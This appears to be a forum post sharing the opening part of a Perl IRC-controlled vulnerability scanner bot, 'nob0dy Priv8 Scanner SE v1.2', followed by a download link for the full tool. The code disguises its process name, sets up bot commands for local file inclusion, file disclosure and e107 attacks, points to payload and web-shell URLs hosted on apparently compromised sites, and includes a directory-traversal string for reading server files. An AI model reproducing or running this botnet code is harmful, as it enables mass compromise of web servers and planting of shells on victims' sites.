nob0dy Priv8 Scanner SE v1.2

#!/usr/bin/perl

# nob0dy Priv8 Scanner SE v1.2
# Coded by Vrs-hCk
# ander[at]antisecurity.org
# Last Edited: Jun 21 2010

# How to use:
# perl nob0dy.pl irc.server.net 6667 nick ident chan admin /usr/sbin/fakeproc

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
use MIME::Base64;

my $datetime = localtime;

my $fakeproc = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport = $ARGV[1];
my $nickname = $ARGV[2];
my $ident = $ARGV[3];
my $channel = '#'.$ARGV[4];
my $admin = $ARGV[5];
my $fullname = "( moded by TengkorakCrew aNd Friends )";

my $nob0dy = " 15( 7@ 2nob0dy 15) ";
my $lfilogo = " 15( 7@ 2LFI 15)";
my $lfdlogo = " 15( 7@ 2LFD 15)";
my $e107logo = " 15( 7@ 2e107 15)";

my $lficmd = '!lfi';
my $lfdcmd = '!lfd';
my $e107cmd = '!e107';

my $injector = "http://www.bejame.com/wp-content/uploads/2012/06/lfiinjector.txt";
my $botshell = "http://bedet-ict.nl/components/com_users/views/remind/tmpl/robots.txt";

my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";
my $lfdoutput = "root:(.+):(.+):(.+):(.+):(.+):(.+)";

if (@ARGV == 7) {
print "\n[+] nob0dy Priv8 Scanner SE\n".
"[+] IRC Host : $ircserver\n".
"[+] IRC Port : $ircport\n".
"[+] Bot Nick : $nickname\n".
"[+] Bot Ident : $ident\n".
"[+] Channel : $channel\n".
"[+] Bot Admin : $admin\n".
"[+] Process/PID : $fakeproc - $$\n\n";
}

Download script + lfiinjektor : Priv8 Scanner SE v1.2.rar